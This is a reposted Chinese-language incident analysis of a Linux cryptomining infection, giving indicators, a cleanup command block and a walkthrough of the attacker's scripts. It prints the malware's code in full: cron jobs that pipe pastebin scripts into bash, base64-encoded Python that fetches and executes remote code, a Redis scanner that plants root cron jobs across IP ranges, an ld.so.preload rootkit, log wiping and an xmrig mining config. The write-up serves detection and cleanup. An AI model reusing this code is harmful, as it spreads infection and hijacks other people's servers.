轉自:https://www.360zhijia.com/anquan/417114.html
0x01 快速特征排查
TOP顯示CPU占用高,但是沒有高占用的進程
存在與未知服務器13531端口建立的TCP連接
文件/etc/ld.so.preload中指向了/usr/local/lib/libntp.so
存在可疑執行base64編碼的python進程
0x02 快速清除
ps aux|grep "I2NvZGluZzogdXRmLTg"|grep -v grep|awk '{print $2}'|xargs kill -9echo "" > /etc/cron.d/rootecho "" > /etc/cron.d/systemecho "" > /var/spool/cron/rootecho "" > /var/spool/cron/crontabs/rootrm -rf /etc/cron.hourly/oanacronrm -rf /etc/cron.daily/oanacronrm -rf /etc/cron.monthly/oanacronrm -rf /bin/httpdnssed -i '$d' /etc/crontabsed -i '$d' /etc/ld.so.preloadrm -rf /usr/local/lib/libntp.sops aux|grep kworkerds|grep -v color|awk '{print $2}'|xargs kill -9rm -rf /tmp/.tmphrm -rf /bin/kworkerdsrm -rf /tmp/kworkerdsrm -rf /usr/sbin/kworkerdsrm -rf /etc/init.d/kworkerchkconfig --del kworker
0x03 細節行為分析
搜索引擎查找相關問題,也有不少人碰到,比如:
首先,CPU占用率100%,但是top命令查看,無法看到高占用��程,懷疑植入了rootkit。
查看crontab的內容,已經被寫入了一個定時任務,每半小時左右會從pastebin上下載腳本並且執行(pastebin是任意上傳分享的平台,攻擊者借此實現匿名)
https://pastebin.com/raw/xbY7p5Tb
拿到xbY7p5Tb腳本內容如下:
(curl -fsSL https://pastebin.com/raw/Gw7mywhC || wget -q-O- https://pastebin.com/raw/Gw7mywhC)|base64 -d |/bin/bash
腳本中再次下載了另一個腳本,並且對腳本內容進行base64解碼后執行:
腳本主要邏輯提取內容如下(省略了一堆調用的函數):
update=$( curl -fsSL --connect-timeout 120 https://pastebin.com/raw/TzBeq3AM )if [ ${update}x = "update"x ];thenechocronelseif [ ! -f "/tmp/.tmph" ]; thenrm -rf /tmp/.tmpgpythonfikillsdownloadrunechocronsystemtopsleep 10port=$(netstat -anp | grep :13531 | wc -l)if [ ${port} -eq 0 ];thendownloadrunxmfiecho 0>/var/spool/mail/rootecho 0>/var/log/wtmpecho 0>/var/log/secureecho 0>/var/log/cronfi
該惡意腳本首先檢查更新,如果有更新,執行echocron進行更新操作
https://pastebin.com/raw/TzBeq3AM
接着檢查了/tmp/.tmph文件是否存在,如果存在則刪除,並且執行python函數
名為Python的函數在腳本中為:
function python() {nohup python -c "import base64;exec(base64.b64decode('I2NvZGluZzogdXRmLTgKaW1wb3J0IHVybGxpYgppbXBvcnQgYmFzZTY0CgpkPSAnaHR0cHM6Ly9wYXN0ZWJpbi5jb20vcmF3L2VSa3JTUWZFJwp0cnk6CiAgICBwYWdlPWJhc2U2NC5iNjRkZWNvZGUodXJsbGliLnVybG9wZW4oZCkucmVhZCgpKQogICAgZXhlYyhwYWdlKQpleGNlcHQ6CiAgICBwYXNz'))" >/dev/null 2>&1 &touch /tmp/.tmph
其中執行的python代碼經過了base64編碼,解碼后內容為:
import urllibimport base64d= 'https://pastebin.com/raw/nYBpuAxT'try:page=base64.b64decode(urllib.urlopen(d).read())exec(page)except:pass
這段python代碼又從https://pastebin.com/raw/nYBpuAxT讀取了內容,並且進行了執行:
再次base64解碼后的最終代碼內容如下,是一個針對redis的掃描攻擊腳本,用於擴散感染:
import threadingimport socketfrom re import findallimport httplibIP_LIST = []class scanner(threading.Thread):tlist =maxthreads = 20evnt = threading.Event()lck = threading.Lock()def __init__(self,host):threading.Thread.__init__(self)self.host = hostdef run(self):try:s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)s.settimeout(2)s.connect((self.host, 6379))s.send('set backup1 "\n\n\n*/1 * * * * curl -fsSL https://pastebin.com/raw/xbY7p5Tb|sh\n\n\n"rn')s.send('set backup2 "\n\n\n*/1 * * * * wget -q -O- https://pastebin.com/raw/xbY7p5Tb|sh\n\n\n"rn')s.send('config set dir /var/spool/cronrn')s.send('config set dbfilename rootrn')s.send('savern')s.close()except Exception as e:passscanner.lck.acquire()scanner.tlist.remove(self)if len(scanner.tlist) < scanner.maxthreads:scanner.evnt.set()scanner.evnt.clear()scanner.lck.release()def newthread(host):scanner.lck.acquire()sc = scanner(host)scanner.tlist.append(sc)scanner.lck.release()sc.start()newthread = staticmethod(newthread)def get_ip_list():try:url = 'ident.me'conn = httplib.HTTPConnection(url, port=80, timeout=10)req = conn.request(method='GET', url='/', )result = conn.getresponse()ip2 = result.read()ips2 = findall(r'd+.d+.', ip2)[0][:-2]for u in range(0, 10):ip_list1 = (ips2 + (str(u)) +'.')for i in range(0, 256):ip_list2 = (ip_list1 + (str(i)))for g in range(0, 256):IP_LIST.append(ip_list2 + '.' + (str(g)))except Exception:passdef runPortscan():get_ip_list()for host in IP_LIST:scanner.lck.acquire()if len(scanner.tlist) >= scanner.maxthreads:scanner.lck.release()scanner.evnt.wait()else:scanner.lck.release()scanner.newthread(host)for t in scanner.tlist:t.join()if __name__ == "__main__":runPortscan()
上述攻擊腳本中,關鍵代碼如下,通過掃描redis的6379端口,如果沒有做訪問驗證,則直接進行遠程命令執行進行感染。
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)s.settimeout(2)s.connect((self.host, 6379))s.send('set backup1 "\n\n\n*/1 * * * * curl -fsSL https://pastebin.com/raw/xbY7p5Tb|sh\n\n\n"rn')s.send('set backup2 "\n\n\n*/1 * * * * wget -q -O- https://pastebin.com/raw/xbY7p5Tb|sh\n\n\n"rn')s.send('config set dir /var/spool/cronrn')s.send('config set dbfilename rootrn')s.send('savern')s.close()
主邏輯中的python函數執行完畢,接着執行主要邏輯代碼:
if [ ! -f "/tmp/.tmph" ]; thenrm -rf /tmp/.tmpgpythonfikillsdownloadrunechocronsystemtopsleep 10port=$(netstat -anp | grep :13531 | wc -l)if [ ${port} -eq 0 ];thendownloadrunxmfiecho 0>/var/spool/mail/rootecho 0>/var/log/wtmpecho 0>/var/log/secureecho 0>/var/log/cron
kills函數主要是檢查是否有其他挖礦等程序在運行,直接干掉,這里不做重點代碼內容展示
downloadrun函數的內容如下,從thyrsi.com中下載了一個偽裝為jpg的文件,保存為/tmp下的kworkerds並執行:
function downloadrun() {ps=$(netstat -anp | grep :13531 | wc -l)if [ ${ps} -eq 0 ];thenif [ ! -f "/tmp/kworkerds" ]; thencurl -fsSL http://thyrsi.com/t6/358/1534495127x-1404764247.jpg -o /tmp/kworkerds && chmod 777 /tmp/kworkerdsif [ ! -f "/tmp/kworkerds" ]; thenwget http://thyrsi.com/t6/358/1534495127x-1404764247.jpg -O /tmp/kworkerds && chmod 777 /tmp/kworkerdsfinohup /tmp/kworkerds >/dev/null 2>&1 &elsenohup /tmp/kworkerds >/dev/null 2>&1 &fifi}
Kworkerds文件是挖礦本體程序,拿到后扔進virustotal檢查結果:
接着執行echocron函數,該函數在各個定時任務文件中寫入下載惡意腳本並執行的任務,並且清除相關日志,這樣加大了清理的難度:
echo -e "*/10 * * * * root (curl -fsSL https://pastebin.com/raw/5bjpjvLP || wget -q -O- https://pastebin.com/raw/5bjpjvLP)|shn##" > /etc/cron.d/rootecho -e "*/17 * * * * root (curl -fsSL https://pastebin.com/raw/5bjpjvLP || wget -q -O- https://pastebin.com/raw/5bjpjvLP)|shn##" > /etc/cron.d/systemecho -e "*/23 * * * * (curl -fsSL https://pastebin.com/raw/5bjpjvLP || wget -q -O- https://pastebin.com/raw/5bjpjvLP)|shn##" > /var/spool/cron/rootmkdir -p /var/spool/cron/crontabsecho -e "*/31 * * * * (curl -fsSL https://pastebin.com/raw/5bjpjvLP || wget -q -O- https://pastebin.com/raw/5bjpjvLP)|shn##" > /var/spool/cron/crontabs/rootmkdir -p /etc/cron.hourlycurl -fsSL https://pastebin.com/raw/5bjpjvLP -o /etc/cron.hourly/oanacron && chmod 755 /etc/cron.hourly/oanacronif [ ! -f "/etc/cron.hourly/oanacron" ]; thenwget https://pastebin.com/raw/5bjpjvLP -O /etc/cron.hourly/oanacron && chmod 755 /etc/cron.hourly/oanacronfimkdir -p /etc/cron.dailycurl -fsSL https://pastebin.com/raw/5bjpjvLP -o /etc/cron.daily/oanacron && chmod 755 /etc/cron.daily/oanacronif [ ! -f "/etc/cron.daily/oanacron" ]; thenwget https://pastebin.com/raw/5bjpjvLP -O /etc/cron.daily/oanacron && chmod 755 /etc/cron.daily/oanacronfimkdir -p /etc/cron.monthlycurl -fsSL https://pastebin.com/raw/5bjpjvLP -o /etc/cron.monthly/oanacron && chmod 755 /etc/cron.monthly/oanacronif [ ! -f "/etc/cron.monthly/oanacron" ]; thenwget https://pastebin.com/raw/5bjpjvLP -O /etc/cron.monthly/oanacron && chmod 755 /etc/cron.monthly/oanacronfitouch -acmr /bin/sh /var/spool/cron/roottouch -acmr /bin/sh /var/spool/cron/crontabs/roottouch -acmr /bin/sh /etc/cron.d/systemtouch -acmr /bin/sh /etc/cron.d/roottouch -acmr /bin/sh /etc/cron.hourly/oanacrontouch -acmr /bin/sh /etc/cron.daily/oanacrontouch -acmr /bin/sh /etc/cron.monthly/oanacron
之后執行system和top函數,system��數中下載了一個惡意的腳本文件放置在/bin目錄下,並且寫入定時任務。
function system() {if [ ! -f "/bin/httpdns" ]; thencurl -fsSL https://pastebin.com/raw/Fj2YdETv -o /bin/httpdns && chmod 755 /bin/httpdnsif [ ! -f "/bin/httpdns" ]; thenwget https://pastebin.com/raw/Fj2YdETv -O /bin/httpdns && chmod 755 /bin/httpdnsfiif [ ! -f "/etc/crontab" ]; thenecho -e "0 1 * * * root /bin/httpdns"elsesed -i '$d' /etc/crontab && echo -e "0 1 * * * root /bin/httpdns" >> /etc/crontabfifi}
其中httpdns的內容為:
改腳本再次下載了一個腳本進行執行,腳本內容與上面主腳本內容類似(刪減了kills system top幾個函數;增加了init函數,即下載執行挖礦程序):
Top函數主要進行了rootkit的行為。
函數將偽裝為jpg的惡意鏈接庫文件下載,首先放置在/usr/local/lib目錄下,之后替換/etc/ld.so.preload文件,通過預加載劫持linux系統函數,使得top、ps等命令無法找到挖礦進程;
關於preload預加載惡意動態鏈接相關,可以閱讀此文參考:
https://blog.csdn.net/aganlengzi/article/details/21824553
最后通過touch–acmr命令,掩蓋剛剛執行的操作(使得文件存取時間和變動時間與/bin/sh的日期一致,避免被懷疑)
function top() {mkdir -p /usr/local/lib/if [ ! -f "/usr/local/lib/libntp.so" ]; thencurl -fsSL http://thyrsi.com/t6/365/1535595427x-1404817712.jpg -o /usr/local/lib/libntp.so && chmod 755 /usr/local/lib/libntp.soif [ ! -f "/usr/local/lib/libntp.so" ]; thenwget http://thyrsi.com/t6/365/1535595427x-1404817712.jpg -O /usr/local/lib/libntp.so && chmod 755 /usr/local/lib/libntp.sofifiif [ ! -f "/etc/ld.so.preload" ]; thenecho /usr/local/lib/libntp.so > /etc/ld.so.preloadelsesed -i '$d' /etc/ld.so.preload && echo /usr/local/lib/libntp.so >> /etc/ld.so.preloadfitouch -acmr /bin/sh /etc/ld.so.preloadtouch -acmr /bin/sh /usr/local/lib/libntp.so
執行上述函數后,主腳本sleep10秒,判斷是否與13531端口建立了連接,如果沒有,則執行downloadrunxm函數(之后可以看到,13531是與連接的礦池端口)。
Downloadrunxm函數中,同樣下載了一個偽裝的jpg文件,另存為/bin/config.json,又再次下載了kworkerds並且執行:
function downloadrunxm() {pm=$(netstat -anp | grep :13531 | wc -l)if [ ${pm} -eq 0 ];thenif [ ! -f "/bin/config.json" ]; thencurl -fsSL http://thyrsi.com/t6/358/1534496022x-1404764583.jpg -o /bin/config.json && chmod 777 /bin/config.jsonif [ ! -f "/bin/config.json" ]; thenwget http://thyrsi.com/t6/358/1534496022x-1404764583.jpg -O /bin/config.json && chmod 777 /bin/config.jsonfifiif [ ! -f "/bin/kworkerds" ]; thencurl -fsSL http://thyrsi.com/t6/358/1534491798x-1404764420.jpg -o /bin/kworkerds && chmod 777 /bin/kworkerdsif [ ! -f "/bin/kworkerds" ]; thenwget http://thyrsi.com/t6/358/1534491798x-1404764420.jpg -O /bin/kworkerds && chmod 777 /bin/kworkerdsfinohup /bin/kworkerds >/dev/null 2>&1 &elsenohup /bin/kworkerds >/dev/null 2>&1 &fifi}
拿到的config.json的內容如下:
{"algo": "cryptonight","api": {"port": 0,"access-token": null,"worker-id": null,"ipv6": false,"restricted": true},"av": 0,"background": false,"colors": true,"cpu-affinity": null,"cpu-priority": null,"donate-level": 0,"huge-pages": true,"hw-aes": null,"log-file": null,"max-cpu-usage": 100,"pools": [{"url": "stratum+tcp://xmr.f2pool.com:13531","user": "47eCpELDZBiVoxDT1tBxCX7fFU4kcSTDLTW2FzYTuB1H3yzrKTtXLAVRsBWcsYpfQzfHjHKtQAJshNyTU88LwNY4Q3rHFYA.xmrig","pass": "x","rig-id": null,"nicehash": false,"keepalive": false,"variant": 1}],"print-time": 60,"retries": 5,"retry-pause": 5,"safe": false,"threads": null,"user-agent": null,"watch": false}
連接的礦池為國內的f2pool.com魚池:
0x04 樣本收集分享
搜集遇到的惡意挖礦repo:
https://github.com/MRdoulestar/whatMiner
